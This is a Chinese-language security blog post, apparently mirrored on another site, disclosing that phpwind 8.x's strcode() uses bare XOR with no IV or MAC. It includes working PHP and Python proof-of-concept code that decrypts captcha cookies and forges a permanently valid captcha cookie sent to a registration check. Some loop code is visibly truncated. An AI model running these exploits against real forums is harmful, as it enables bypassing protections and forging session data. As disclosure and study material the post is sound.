phpwind strcode() 加密算法设计缺陷-凯发app官方网站

凯发app官方网站-凯发k8官网下载客户端中心 | | 凯发app官方网站-凯发k8官网下载客户端中心
  • 博客访问: 1154539
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

相关博文
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·

分类: 网络与安全

2012-06-27 16:19:59

本文只是补充的一些细节。想了解背景可以参考此ppt。

 

    由于时间匆忙,且家里发生了一些事情,所以这些都是2个月前的一些研究结果。代码也写得很粗糙,但基本能用。

 

描述

    在phpwind 8.x 中(甚至包括一些老版本),strcode()函数是核心的加密函数,用于很多地方,比如cookie的加密。但strcode()函数只是简单的实现了xor加密,由于缺乏hmac和iv,使得strcode() 存在reused key attack 与 bit-flipping attack。攻击者通过一定的方法能够解密任意密文,或者构造出任意明文的密文。

 

细节

解密任意密文

    在common.php 中:

/**

 * 加密、解密字符串

 *

 *@global string $db_hash

 *@global array $pwserver

 *@param $string 待处理字符串

 *@param $action 操作,encode|decode

 *@return string

 */

function strcode($string, $action ='encode') {

         $action!= 'encode' && $string = base64_decode($string);

         $code= '';

         $key= substr(md5($globals['pwserver']['http_user_agent'] . $globals['db_hash']), 8,18);

         $keylen= strlen($key);

         $strlen= strlen($string);

         for($i = 0; $i < $strlen; $i ) {

                   $k= $i % $keylen;

                   $code.= $string[$i] ^ $key[$k];

         }

         return($action != 'decode' ? base64_encode($code) : $code);

}


    那么,以破解验证码为例。在phpwind中,验证码是在ck.php中按照如下方式生成的:

         functiongetcode($type=null,$set=true) {

                   empty($type)&& $type = $this->gdcontent;

                   $code= '';

                   switch($type) {

                            case3:

                                     global$db_charset,$lang;

                                     require_oncegetlang('ck');

                                     $step= strtoupper($db_charset) == 'utf-8' ? 3 : 2;

                                     $len  = (strlen($lang['ck'])/$step) - 1;

                                     for($i = 0; $i < $this->num; $i ) {

                                               $code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);

                                     }

                                     $set&& $this->cookie($code);

                                     if(strtoupper($db_charset) <> 'utf-8') {

                                               $code= $this->convert($code,'utf-8',$db_charset);

                                     }

                                     $code= explode(',',wordwrap($code,3,',',1));

                                     break;

                            case2:

                                     $list= 'bcefghjkmpqrtvwxy2346789';

                                     $len  = strlen($list) - 1;

                                     for ($i = 0; $i <$this->num; $i ) {

                                               $code.= $list[mt_rand(0,$len)];

                                     }

                                     $set&& $this->cookie($code);

                                     break;

                            default:

                                     $list= '2346789';

                                     $this->gdtype== 3 && $list .= '15';

                                     $len= strlen($list) - 1;

                                     mt_srand((double)microtime() * 1000000);

                                     for($i = 0; $i < $this->num; $i ) {

                                               $code.= $list{mt_rand(0, $len)};

                                     }

                                     $set&& $this->cookie($code);

                   }

                   return$code;

         }

    

    同时验证码的字符集只有24个,因为有些字符容易让用户产生混淆,比如字母"l"与数字"1":

    $list= 'bcefghjkmpqrtvwxy2346789';


    最终将生成的验证码与时间戳绑定后写入cookie中:



    加密前的结构如下:



    根据reused key attack的攻击方法,知道明文1、密文1、密文2后,可以通过xor操作推导出明文2。在验证码的应用中,有两个因素比较关键,一个是时间戳,一个是验证码的值。


    但实际上有很多地方可以暴露时间戳。比如下面的地方:

http/1.1 200 ok

server: nginx/0.7.65

date: mon, 05 sep 2011 03:08:29 gmt

content-type: image/png

transfer-encoding: chunked

connection: keep-alive

x-powered-by: php/5.2.10

set-cookie: dd499_c_stamp=1315192109; expires=tue, 04-sep-2012 03:08:29 gmt;path=/

set-cookie: dd499_lastvisit=3522 1315192109 /ck.php?nowtime1315191874102;expires=tue, 04-sep-2012 03:08:29 gmt; path=/

pragma: no-cache

cache-control: no-cache

set-cookie: dd499_cknum=aqsfb1vdvlrsc28xuvymbgudugefclegvanrbwqbagjbbqnvcaabcgzwb1e;expires=tue, 04-sep-2012 03:08:29 gmt; path=/


    获取了时间戳和已知的验证码1后,可以构造出服务端使用的明文;结合抓取到的这次密文,就可以推导出任意密文的明文了。


    但明文中未直接包含验证码的值,而只是使用了验证码的md5,因此要破解出验证码,需要采用md5 rainbow table的方式来逆向推导md5后的验证码值。因为phpwind采用的验证码位数不是很多,只有4位、5位或6位,因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可(验证码从24个字符中产生)。


    演示代码如下

 

$code1 = "qpg3w8";

$t = 1320392525;

$str1 = base64_decode("aqufbvijawikazlovvfraqaobfcebqudcvqmbqlwbgxwbwiobqftuqubaqc");

 

// cipher to crack

//加密方式: 时间戳."\t\t".md5(验证码.时间戳); 

$str2 = base64_decode("aqufbvijawibdjloxayebwjrawaadvgbcvrduluaagchblabcqmbbgaiawe");

   

echo "timestamp is: ".$t."\n";

 

for ($jmp = 0; $jmp<20; $jmp ){ 

 $x = ($t-10 $jmp)."\t\t".md5($code1.($t-10 $jmp));

 

 $guess = ""; 

 for ($i=0;$i

 

    $guess .= chr(ord($x[$i])  ^ ord($str1[$i]) ^ ord($str2[$i]) ); 

 }

 //echo $guess."\n";

  

 if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){

 //if ($jmp == 10){

   echo "\nguess result is: ".$guess."\n";

   break;

 } 

}

 

// 遍历出checkcode 

$counter = 0;  

$starttime = time();

$cksets = 'bcefghjkmpqrtvwxy2346789';

 

function bruteforce_guess($p){  

 

 global $counter;

 global $cksets;

 

 for ($a=0;$a

   $result = "";   

   $result[0] =  $cksets[$a];

   for($b=0;$b

     $result[1] = $cksets[$b];

     for($c=0;$c

       $result[2] = $cksets[$c];

       for($d=0;$d

         $result[3] = $cksets[$d];

         for($e=0;$e

           $result[4] = $cksets[$e];

           for($f=0;$f

             $counter ;

             $result[5] = $cksets[$f];

             $result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];

 

             if (md5($result.substr($p,0,10)) == substr($p,-32) ){

                echo "checkcode is: ".$result."\n";

                return $result;

             }

             

             if ($counter % 300000 == 0){

               echo ".";

             }

           }

             

         }

       }  

     }

   }

 }

 return false;

}

 

 

function random_guess($p){

 global $counter;

 global $cksets;

 

 for(;;){

    $result = '';

$len  = strlen($cksets) - 1;

$counter ;

for ($i = 0; $i < strlen($code1); $i ) {

$result .= $cksets[mt_rand(0,$len)];

    }

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

      echo "checkcode is: ".$result."\n";

      break;

    }    

    

    if ($counter % 300000 == 0){

      echo ".";

    }

 }

}

  

 

 bruteforce_guess($guess);   // 遍历所有可能性

 //random_guess($guess);     //随机生成方式遍历

 

 echo "counter is: ".$counter."\n";

 echo "spend time: ".(time()-$starttime)." seconds\n";

 

function hex($str){

    $result = '';

    for ($i=0;$i

         $result .= "\\x".ord($str[$i]);

    }

    return $result;

}      

 

?>

    

    测试如下,要破解如下验证码:


    攻击效果:



构造任意明文的密文



    还是以验证码为例,构造一个永久有效的验证码。


    在phpwind中,是通过以下过程验证一个验证码的:

1.      post参数 gdcode 的值为 valuea

2.      解密cookie cknum的值,获取到原文为 valueb

3.      通过safecheck()函数验证valueb的时间戳是否合法,以及valueb的 md5 是否与valuea的计算结果一致

 

global.php:

/**

 * 校验验证码

 *

 *@param string $code

 */

function gdconfirm($code,$bool = null) {

         cookie('cknum','', 0);

         if(!$code || !safecheck(explode("\t", strcode(getcookie('cknum'),'decode')), strtoupper($code), 'cknum', 1800)) {

                   if($bool){

                            returnfalse;

                   }else{

                            showmsg('check_error');

                   }

         }

         returntrue;

}

 

common.php: 

/**

 * 检查cookie是否过期

 *

 *@global int $timestamp

 *@param array $cookiedata cookie数据

 *@param string $pwdcode 用户私有信息

 *@param string $cookiename cookie名

 *@param int $expire 过期秒数

 *@param bool $clearcookie 验证错误是否清除cookie

 *@param bool $refreshcookie 是否刷新cookie

 *@return bool

 */

function safecheck($cookiedata, $pwdcode,$cookiename = 'adminuser', $expire = 1800,$clearcookie = true ,$refreshcookie =true) {

         global$timestamp;

         if($timestamp- $cookiedata[0] > $expire) {

                   cookie($cookiename,'', 0);

                   returnfalse;

         }elseif ($cookiedata[2] != md5($pwdcode . $cookiedata[0])) {

                   $clearcookie&& cookie($cookiename, '', 0);

                   returnfalse;

         }

         if($refreshcookie) {

                   $cookiedata[0]= $timestamp;

                   $cookiedata[2]= md5($pwdcode . $cookiedata[0]);

                   cookie($cookiename,strcode(implode("\t", $cookiedata)));

         }

         returntrue;

}


    注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。

$timestamp– $cookiedata[0] < 0


    演示代码如下

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import base64

import md5

 

plaintext1 = "1320392525" "\t\t" md5.new("qpg3w8" "1320392525").hexdigest()

ciphertext1 = base64.b64decode("aqufbvijawikazlovvfraqaobfcebqudcvqmbqlwbgxwbwiobqftuqubaqc=")

 

bigtime = "2000000000"

plaintext2 = bigtime "\t\t" md5.new("2my8w3" bigtime).hexdigest()

ciphertext2 = ''

 

for i in range(0,len(plaintext1)):

  ciphertext2 = chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i])) 

 

cookie = base64.b64encode(ciphertext2)

 

url = ""

 

data = {'action':'regcheck','gdcode':'2my8w3','type':'reggdcode'}

data = urllib.urlencode(data)

 

headers = {'user-agent':'mozilla/5.0 (windows; u; windows nt 5.1; zh-cn; rv:1.9.2.20) gecko/20110803 firefox/3.6.20',

           'cookie':'be2f1_cknum=' cookie}

 

req = urllib2.request(url,data,headers)     

f = urllib2.urlopen(req)

        

print f.read()


    测试效果:



    (返回值为0说明验证通过,返回值为1是验证不通过)

阅读(2635) | 评论(0) | 转发(0) |
0

上一篇:

下一篇:discuz! authcode() 弱iv缺陷

给主人留下些什么吧!~~
")); function link(t){ var href= $(t).attr('href'); href ="?url=" encodeuricomponent(location.href); $(t).attr('href',href); //setcookie("returnouturl", location.href, 60, "/"); }
网站地图